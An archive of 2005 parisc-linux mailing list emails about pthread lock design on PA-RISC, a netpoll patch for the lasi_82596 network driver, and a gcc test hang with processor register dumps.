Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2005 01:39:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 05 Jul 2005 03:39:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BBC77D6FD;
	Mon,  4 Jul 2005 19:39:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31733-07; Mon, 4 Jul 2005 19:39:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4DA027D6FA;
	Mon,  4 Jul 2005 19:39:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 428007D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jul 2005 19:39:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31444-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Jul 2005 19:39:14 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 2CE187D6F7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jul 2005 19:39:14 -0600 (MDT)
Original-Received: from rccomp.stl.com.hk ([192.168.100.200] helo=[127.0.0.1])
	by stl.com.hk with esmtp (Exim 4.50)
	id 1DpcNP-0004Hl-3O; Tue, 05 Jul 2005 09:37:31 +0800
User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317)
X-Accept-Language: en-us, en
In-Reply-To: <20050704145417.GE5269@systemhalted.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: m4G7YiV4eSEkdL6WZHQhaXN1IGRvb0DC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22879

> If the lock is locked when copied, the copy is locked.
> 
> Wether or not the thread can enter the critical section is dependant
> upon the programmer. The programmer would have to ensure the lock copy
> was atomic by protecting the structure. Then it could point the two
> threads at the new copy, and delete the old copy.

I have to agree with Dave - this seems like a recipe for disaster.

> If we add a level of indirection we insert a lookup requirement. The
> lookup needs to determine if it has to materialize a lock, index load
> the lock from the table, which might be on a faraway page (requiring
> more searching), and our performance is shot.

sounds like we are implementing a VM with page tables. We need a TLB! :-)

> It still doesn't solve our lock rematerializing issue. I think the issue
> will never go away if we have to provide our own lock cookie namespace 
> management.

In any case rematerializing a lock seems iffy.....

> A threaded lisp interpreter writes a running image to disk, only a
> partial write and not the entire address space. It expects to reload
> this from disk and start a thread up at the same place. If it has lock
> aliasing other threads might collide with the loaded lock cookie.

I'm not sure it can do this without doing fixups after reading from a
disk image. For example, in many object systems pointers are written to
disks as UUIDs and when the object is read back from disk the UUID needs
to be reconverted to a real pointer. I would think the situation is the
same with locks; to have predictable behavior you have to write
information about the state of the lock and manage it yourself, instead
of relying on the underlying representation of the lock.

> I think having the lock data with the lock is the only reasonable
> solution.

Perhaps, but "lock data" should not be the internal representation of
the lock. My reading of the POSIX/SuSv3 pthread spec suggests that the
interface is designed explicitly to allow locks to be allocated dynamically.

> Politics is a part of life, and removing it from the equation means you
> are missing important information when making a decision.

Yes, but I don't think we should settle on an implementation that is
otherwise inferior only to get around the politics of an open source
project.

> I don't know what "more natural" means in this case. It's not a
> measurable quantity. A the POSIX pthread interface it's already a
> structure, so what difference does it make, the internals are opaque.

s/more natural/easier to implement/ then.

> A deferred dynamically allocated lock system faces cookie namespace
> problems.

I think there are two separate "namespace" problems:
1) Shared memory locks - this is relatively easy to solve
2) Serializable locks - this is difficult

> Compliance with the standards is important, but second to a robust and
> working implementation under minimum defined criteria.

I dunno about "second to"....

> Let me run a thought an experiment, let me construct the most idiotic
> implementation of "scalar lock" that comes to mind...
> 
> Implementation of Scalar Locks (Take 1)
> =======================================
> 
> a. glibc has a single aligned master lock.
> b. Every thread uses a scalar for a lock.
> c. The pthread functions do the following:
> 	- If the sig_atomic_t lock != 0
>           Use LWS CAS to take the lock [1]
>           = Done.
> 	- Block signals.
> 	- Increment the sig_atomic_t lock.
> 	- Acquire a master lock.
> 	- Twiddle a bit in the scalar lock.
> 	- Unlock a master lock.
> 	- Decrement the sig_atomic_t lock.
> 	- Unblock signals.

Your increment/decrement operations will also need to be done with a LWS.

One undesirable property of this approach seems to be that as the lock
becomes more contended, you spend an increasing amount of time spinning
in the kernel (doing your LWS CAS). As you told me last night, this
means the kernel has interrupts off, so processes are not getting
scheduled, and your lock contention becomes worse.

randolph

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Schnelle <svens@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] netpoll support for lasi_82596
Date: Wed, 29 Jun 2005 07:59:26 +0200
Lines: 94
Approved: news@gmane.org
Message-ID: <878y0t66v5.fsf@deprecated.intranet.astaro.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1153608949=="
X-Trace: ger.gmane.org 1416623836 15521 80.91.229.3 (22 Nov 2014 02:37:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0003
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jun 2005 05:59:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 29 Jun 2005 07:59:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C79177D68B;
	Tue, 28 Jun 2005 23:59:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17869-01; Tue, 28 Jun 2005 23:59:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 509467D682;
	Tue, 28 Jun 2005 23:59:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 37B8C7D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Jun 2005 23:59:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17535-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Jun 2005 23:59:32 -0600 (MDT)
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 4FD5C7D67A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Jun 2005 23:59:32 -0600 (MDT)
Original-Received: (qmail invoked by alias); 29 Jun 2005 05:59:30 -0000
Original-Received: from i3ED6E3C1.versanet.de (EHLO deprecated.intranet.astaro.de)
	[62.214.227.193]
	by mail.gmx.net (mp028) with SMTP; 29 Jun 2005 07:59:30 +0200
X-Authenticated: #21330363
Original-Received: from localhost.localdomain
	([127.0.0.1] helo=deprecated.intranet.astaro.de ident=svens)
	by deprecated.intranet.astaro.de with esmtp (Exim 3.36 #1 (Debian))
	id 1DnVbc-0000So-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Jun 2005 07:59:28 +0200
User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mV2wYskDeSEkaL6WZHQhaXN1IGRvb0Dj
Status: RO
X-Status: RAGC
X-KMail-EncryptionState: N
X-KMail-SignatureState: P
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22880

--===============1153608949==
Content-Type: multipart/signed; boundary="=-=-=";
	micalg=pgp-sha1; protocol="application/pgp-signature"

--=-=-=
Content-Transfer-Encoding: quoted-printable

Hi,

i'm working on kgdb for linux-2.6, and added netpoll support to the
lasi_82596 driver. Maybe we can add this patch?

=2D--------------------------------------------------------------
Index: lasi_82596.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.6/drivers/net/lasi_82596.c,v
retrieving revision 1.15
diff -u -r1.15 lasi_82596.c
=2D-- lasi_82596.c	29 Nov 2004 19:56:12 -0000	1.15
+++ lasi_82596.c	29 Jun 2005 05:25:40 -0000
@@ -415,6 +415,9 @@
 static int ticks_limit =3D 100;
 static int max_cmd_backlog =3D TX_RING_SIZE-1;
=20
+#if CONFIG_NET_POLL_CONTROLLER
+static void i596_poll_controller(struct net_device *dev);
+#endif
=20
 static inline void CA(struct net_device *dev)
 {
@@ -1209,7 +1212,9 @@
 	dev->set_multicast_list =3D set_multicast_list;
 	dev->tx_timeout =3D i596_tx_timeout;
 	dev->watchdog_timeo =3D TX_TIMEOUT;
=2D
+#ifdef CONFIG_NET_POLL_CONTROLLER
+	dev->poll_controller =3D i596_poll_controller;
+#endif
 	dev->priv =3D (void *)(dev->mem_start);
=20
 	lp =3D dev->priv;
@@ -1242,6 +1247,14 @@
 	return 0;
 }
=20
+#ifdef CONFIG_NET_POLL_CONTROLLER
+static void i596_poll_controller(struct net_device *dev)
+{
+    disable_irq(dev->irq);
+    i596_interrupt(dev->irq, dev, NULL);
+    enable_irq(dev->irq);
+}
+#endif
=20
 static irqreturn_t i596_interrupt(int irq, void *dev_id, struct pt_regs *r=
egs)
 {
=2D------------------------------------------------------------------------=
-------

Thanks,

Sven.
=2D-=20
We've seen the restless children at the head of the columns
Come to purify the future with the arrogance of youth

--=-=-=
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQBCwji/86MdxiXaIbERAtk9AKCAjvaThLR6id5Tjrbjgl8UBaXr3gCghG91
eYMWxvLgx9OlYcH9rzqyktY=
=hKRA
-----END PGP SIGNATURE-----
--=-=-=--

--===============1153608949==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1153608949==--



From - Thu Nov 08 21:33:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] netpoll support for lasi_82596
Date: Tue, 5 Jul 2005 22:43:32 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <200507052243.32912.deller@gmx.de>
References: <878y0t66v5.fsf@deprecated.intranet.astaro.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623837 15524 80.91.229.3 (22 Nov 2014 02:37:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2005 20:43:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 05 Jul 2005 22:43:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 13DF17D697;
	Tue,  5 Jul 2005 14:43:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07277-07; Tue, 5 Jul 2005 14:43:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1781D7D69C;
	Tue,  5 Jul 2005 14:43:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B4287D694
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jul 2005 14:43:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06842-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Jul 2005 14:43:42 -0600 (MDT)
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id B872C7D690
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jul 2005 14:43:41 -0600 (MDT)
Original-Received: (qmail invoked by alias); 05 Jul 2005 20:43:39 -0000
Original-Received: from d83-176-140-253.cust.tele2.de (EHLO p100.helgenet.de)
	[83.176.140.253]
	by mail.gmx.net (mp008) with SMTP; 05 Jul 2005 22:43:39 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.8.50
In-Reply-To: <878y0t66v5.fsf@deprecated.intranet.astaro.de>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UpS4YsRbeSEkSr6WZHQhaXN1IGRvb8Dj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22881

Thanks Sven,

I've applied your patch (with small modifications).

Helge

On Wednesday 29 June 2005 07:59, Sven Schnelle wrote:
> Hi,
> 
> i'm working on kgdb for linux-2.6, and added netpoll support to the
> lasi_82596 driver. Maybe we can add this patch?
> 
> ---------------------------------------------------------------
> Index: lasi_82596.c
> ===================================================================
> RCS file: /var/cvs/linux-2.6/drivers/net/lasi_82596.c,v
> retrieving revision 1.15
> diff -u -r1.15 lasi_82596.c
> --- lasi_82596.c	29 Nov 2004 19:56:12 -0000	1.15
> +++ lasi_82596.c	29 Jun 2005 05:25:40 -0000
> @@ -415,6 +415,9 @@
>  static int ticks_limit = 100;
>  static int max_cmd_backlog = TX_RING_SIZE-1;
>  
> +#if CONFIG_NET_POLL_CONTROLLER
> +static void i596_poll_controller(struct net_device *dev);
> +#endif
>  
>  static inline void CA(struct net_device *dev)
>  {
> @@ -1209,7 +1212,9 @@
>  	dev->set_multicast_list = set_multicast_list;
>  	dev->tx_timeout = i596_tx_timeout;
>  	dev->watchdog_timeo = TX_TIMEOUT;
> -
> +#ifdef CONFIG_NET_POLL_CONTROLLER
> +	dev->poll_controller = i596_poll_controller;
> +#endif
>  	dev->priv = (void *)(dev->mem_start);
>  
>  	lp = dev->priv;
> @@ -1242,6 +1247,14 @@
>  	return 0;
>  }
>  
> +#ifdef CONFIG_NET_POLL_CONTROLLER
> +static void i596_poll_controller(struct net_device *dev)
> +{
> +    disable_irq(dev->irq);
> +    i596_interrupt(dev->irq, dev, NULL);
> +    enable_irq(dev->irq);
> +}
> +#endif
>  
>  static irqreturn_t i596_interrupt(int irq, void *dev_id, struct pt_regs *regs)
>  {
> --------------------------------------------------------------------------------
> 
> Thanks,
> 
> Sven.
> -- 
> We've seen the restless children at the head of the columns
> Come to purify the future with the arrogance of youth
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Wed, 6 Jul 2005 18:40:32 +0200
Lines: 150
Approved: news@gmane.org
Message-ID: <42BAB5E10000403E@mail-2-bnl.tiscali.it>
References: <200507051816.j65IGuIY028621@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623837 15526 80.91.229.3 (22 Nov 2014 02:37:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jul 2005 16:40:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 06 Jul 2005 18:40:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60BAB7D6F8;
	Wed,  6 Jul 2005 10:40:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13241-02; Wed, 6 Jul 2005 10:40:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 104357D6F9;
	Wed,  6 Jul 2005 10:40:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 71A0D7D6F5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Jul 2005 10:40:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12946-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Jul 2005 10:40:36 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 807D27D6A0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Jul 2005 10:40:36 -0600 (MDT)
Original-Received: from 10.39.115.132 by mrq-2 with esmtp (Exim)
	id 1DqCwq-0000mh-Kw; Wed, 06 Jul 2005 18:40:34 +0200
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Wed, 6 Jul 2005 18:40:32 +0200
In-Reply-To: <200507051816.j65IGuIY028621@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xmy+YvFVeSEkeL6WZHQhaXN1IGRvbwCi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22882

Hello Dave,

> 
> > >  I managed to hang my c3k with a gcc-4.0.0 built kernel
> > Sorry but which kernel did you use?
> 
> 2.6.10-pa11.
> 
Ok I boot the same and grab recent gcc-4.1 src (about 6h gmt) and build i=
t
with build-tls-tools with following options:
--enable-shared --with-system-zlib --disable-nls --enable-debug --host=3D=
hppa-linux
--tar
get=3Dhppa-linux --disable-libmudflap --enable-languages=3Dc,c++

and it hang also in a g++ test:
[...]
PASS: g++.dg/opt/inline3.C (test for excess errors)
Executing on host: /CAD/parisc-linux/build/gcc/gcc/testsuite/../g++ -B/CA=
D/parisc-linux/build/gcc/gcc/testsuite/../
/CAD/parisc-linux/sources/gcc/gcc/testsuite/g++.dg/opt/inline4.C  -nostdi=
nc++
-I/CAD/parisc-linux/build/gcc/hppa-linux/libstdc++-v3/include/hppa-linux
-I/CAD/parisc-linux/build/gcc/hppa-linux/libstdc++-v3/include -I/CAD/pari=
sc-linux/sources/gcc/libstdc++-v3/libsupc++
-I/CAD/parisc-linux/sources/gcc/libstdc++-v3/include/backward -I/CAD/pari=
sc-linux/sources/gcc/libstdc++-v3/testsuite
-fmessage-length=3D0  -O2 -ftemplate-depth-20000  -S  -o inline4.s    (ti=
meout
=3D 300)

My very bad error was to forget to save the System.map, so it's hard to s=
ay
if the pim analyse is relevant:
-----------------  Processor 0 TOC Information -------------------

GR of CPU[0]
00-03   0000000000000000  0000000000000000  000000001010fc68  00000000fb7=
00100
04-07   00000000ffffffff  00000000fb700040  0000000000000000  00000000122=
ab2c8
08-11   0000000000000000  00000000fb700064  00000000fffffff2  00000000000=
0000b
12-15   0000000000000000  00000000122ab4c4  00000000119900a0  00000000119=
90090
16-19   00000000122ab2c8  0000000000590000  00000000faf0231c  00000000122=
ab0f8
20-23   0000000000000000  00000000fffffff2  00000000fb700064  00000000000=
00000
24-27   00000000119900a0  00000000119900a0  00000000fb700064  00000000103=
c1010
28-31   00000000fb7000f0  0000000001990240  0000000011990480  00000000119=
900a0

GR[02] =3D=3D rp =3D 000000001010fc68

Func: do_signal, Off: 0xfc, Addr: 0x1010fc68

1010fc60:       e8 10 b1 04     b,l 101314e8 <copy_siginfo_to_user>,%r2
1010fc64:       34 08 00 00     ldi 0,r8
1010fc68:       08 1c 02 55     copy ret0,r21
1010fc6c:       03 c0 08 bc     mfctl tr6,ret0

GR[22] =3D=3D t1(32bits) =3D=3D arg4(64bits) =3D 00000000fb700064

GR[21] =3D=3D t2(32bits) =3D=3D arg5(64bits) =3D 00000000fffffff2

GR[20] =3D=3D t3(32bits) =3D=3D arg6(64bits) =3D 0000000000000000

GR[19] =3D=3D t4(32bits) =3D=3D arg7(64bits) =3D 00000000122ab0f8

GR[26] =3D=3D arg0 =3D 00000000fb700064

GR[25] =3D=3D arg1 =3D 00000000119900a0

GR[24] =3D=3D arg2 =3D 00000000119900a0

GR[23] =3D=3D arg3 =3D 0000000000000000

GR[27] =3D=3D dp =3D 00000000103c1010

Func: $global$, Off: 0x0, Addr: 0x103c1010


GR[28] =3D=3D ret0 =3D 00000000fb7000f0

GR[29] =3D=3D ret1 or sl =3D 0000000001990240

GR[30] =3D=3D sp =3D 0000000011990480

GR[31] =3D=3D ble rp =3D 00000000119900a0

Func: _end, Off: 0x14972dc, Addr: 0x119900a0


CR of CPU[0]
00-03   0000000000000000  0000000000000000  0000000000000000  00000000000=
00000
04-07   0000000000000000  0000000000000000  0000000000000000  00000000000=
00000
